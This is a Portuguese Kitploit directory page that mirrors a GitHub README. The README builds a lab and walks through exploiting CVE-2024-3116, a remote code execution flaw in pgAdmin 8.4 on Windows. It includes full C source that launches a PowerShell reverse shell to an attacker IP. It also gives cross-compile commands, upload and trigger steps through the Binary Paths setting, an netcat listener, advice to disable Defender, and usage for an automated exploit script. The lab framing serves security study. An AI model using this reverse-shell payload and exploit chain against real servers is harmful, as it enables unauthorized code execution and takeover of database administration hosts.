Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/techieneurons/cve-2024-3116_rce_in_pgadmin_8.4
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de PayloadsLabs e Prática
GitHubtechieneurons/cve-2024-3116_rce_in_pgadmin_8.4

CVE-2024-3116_RCE_in_pgadmin_8.4

Criando um laboratório e testando o CVE-2024-3116, uma Execução Remota de Código no pgadmin <=8.4

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
132há 2 anosAinda não revisado

CVE-2024-3116_RCE_in_pgadmin_8.4

Criando um laboratório e testando o CVE-2024-3116, uma execução remota de código no pgadmin <=8.4

Eu usei este artigo como base.

Instalação do laboratório

Primeiramente um pequeno comentário sobre este laboratório, a documentação do pgadmin é muito ruim e não encontrei nenhum vestígio de alguém instalando pgadmin no windows...

  1. O autor disse que a vulnerabilidade está presente apenas no windows, então usarei a VM do Windows 11 fornecida pela Microsoft (aqui)
  2. Após instalar a VM, instalo python 3.10.0 (fiz alguns testes com 3.11 e 3.12, mas tive alguns problemas de dependências, então vamos com 3.10)
  3. Instale postgresql 16.2 (sem pgadmin, e coloquei password como senha para meu postgresql, não muito importante no nosso caso)
  4. É recomendado instalar o pgadmin em um virtualenv python, tentei e não funcionou, então F*DA-SE VENV!
  5. Atualize o pip: python -m pip install -U pip
  6. Instale wheel: python -m pip install wheel
  7. Baixe a fonte: https://www.postgresql.org/ftp/pgadmin/pgadmin4/ > 8.4 > pip > baixe o arquivo .whl
  8. Instale pgadmin4: python -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl
    • Pasta de instalação: C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4
  9. Vamos configurar:
    • No arquivo: C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4\config_local.py, adicione a seguinte linha:
    root@kitploit:~
    LOG_FILE = r'C:\Users\User\pgadmin4\log\pgadmin4.log'
    SQLITE_PATH = r'C:\Users\User\pgadmin4\pgadmin4.db'
    SESSION_DB_PATH = r'C:\Users\User\pgadmin4\sessions'
    STORAGE_DIR = r'C:\Users\User\pgadmin4\storage'
    SERVER_MODE = True
    
    • Crie as pastas que não existem (pgadmin4\log, pgadmin4\sessions, pgadmin4\storage)
    • Crie a pasta: C:\Users\User\AppData\Roaming\pgAdmin (necessário para setup.py)
    • Na pasta de instalação do pgadmin4 (veja 8) execute: python site-packages/pgadmin4/setup.py setup-db, coloque Email = [email protected] e Password = password (este email e senha são importantes porque precisamos deles para conectar ao pgadmin)

Em seguida, o servidor web:

  1. Instale XAMPP (pode desmarcar tudo, apenas precisa do apache)
  2. Adicione a variável de ambiente: MOD_WSGI_APACHE_ROOTDIR = C:/xampp/apache
  3. Instale mod-wsgi: pip install mod-wsgi
  4. Obtenha a configuração: mod_wsgi-express module-config
  5. Copie o resultado do comando anterior no final do arquivo httpd.conf do apache
  6. Para finalizar, inicie o servidor com (a partir da pasta de instalação do pgadmin): mod_wsgi-express start-server .\pgAdmin4.wsgi (deve estar acessível na porta 8000)

Vamos explorar

Vou explorar a vulnerabilidade a partir de uma máquina Kali que está na mesma rede do pgadmin.

  • Kali = 192.168.112.128
  • Windows = 192.168.112.162

Novamente: Este exploit funciona apenas contra pgadmin no Windows! E precisamos de um usuário válido para explorar esta vulnerabilidade!

  1. Quero um reverse shell, então peguei o PoC do blogpost vinculado no início deste arquivo, coloquei o IP do meu Kali para testar:
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
	if (argc > 1 && strcmp(argv[1], "--version") == 0) {
    	system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.112.128',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
	} else {
    	printf("Usage: %s --version\n", argv[0]);
	}
	return 0;
}
  1. Como o PoC é um programa C para Windows, vamos usar um cross-compilador:
    • Instalando um cross-compilador: sudo apt-get install mingw-w64
    • Crie um arquivo com o PoC mencionado anteriormente e compile com: x86_64-w64-mingw32-gcc -o pg_restore poc.c compilação para windows a partir do linux
  2. O nome do binário deve ser pg_ (ou psql) para ser executado, deve ser uma ferramenta conhecida do postgresql
  3. Inicie o burp e configure seu navegador para passar pelo burp para ver a solicitação de upload
  4. Vamos enviar este arquivo via interface (após login com [email protected]): Tools > Import/Export Servers > 'clique no ícone da pequena pasta' > 'Clique nos três pontos no canto superior direito da janela de seleção de arquivo e selecione upload' > 'selecione o binário PoC' solicitação de upload de arquivo
  5. Para verificar, vá para o windows e então na pasta storage que criamos (C:\Users\User\pgadmin4\storage) podemos ver o arquivo
  6. TAMBÉM MUITO IMPORTANTE a resposta da solicitação de upload contém o caminho para o exe que enviamos, será importante para depois
  7. Inicie um netcat (nc -lvnp 9001) para receber a resposta: IMPORTANTE!!!!!!!! O Defender impedirá a execução do binário (então desative o Defender)
  8. Em seguida, iremos na interface e clicar em: File > Preferences > Binary Paths e adicione o caminho que obtivemos na resposta ao arquivo enviado na caixa de texto dizendo em frente ao postgresql 16, finalmente clique no ícone na caixa de texto para acionar o PoC

Exploit

Eu escrevi um script em python para explorar esta vulnerabilidade automaticamente, quase nada a fazer.

Coisas a saber antes de usar este script:

  • Precisamos de um proxy para interceptar a resposta do arquivo enviado para fornecer o caminho para o arquivo no script. Pessoalmente, estou usando Burp.
  • O script inteiro usa selenium, então você precisará disso (pip install selenium)
  • O script executa um comando para compilar o binário enviado, então você precisa instalar o cross-compilador: sudo apt-get install mingw-w64
  • Você precisa iniciar um netcat em outro terminal com a porta que deseja que a conexão chegue (nc -lvnp <port>)
  • Este script fornece um reverse shell

Para usar este exploit, use este comando: python exploit_cve_2024_3116.py --email <email_usuario_pgadmin> --password <senha_usuario_pgadmin> --rhost <http://ip_ou_dominio_alvo> --rport <porta_alvo> --lhost <ip_ouvinte> --lport <porta_ouvinte>

Demonstração

Uma pequena demonstração: https://youtu.be/zdMC3kbN0Is

Referências

Todos estes links me ajudaram a instalar o pgadmin no windows:

  • https://www.digitalocean.com/community/tutorials/how-to-install-configure-pgadmin4-server-mode
  • https://www.pgadmin.org/docs/pgadmin4/development/server_deployment.html
  • https://pypi.org/project/mod-wsgi/
  • https://stackoverflow.com/questions/59801387/how-to-install-mod-wsgi-into-apache-on-windows
  • https://stackoverflow.com/questions/44670209/how-to-compile-c-code-in-linux-to-run-on-windows
Baixar ferramenta
Enter binary path...
solicitação acionando o PoC
  • Aproveite! reverse shell obtido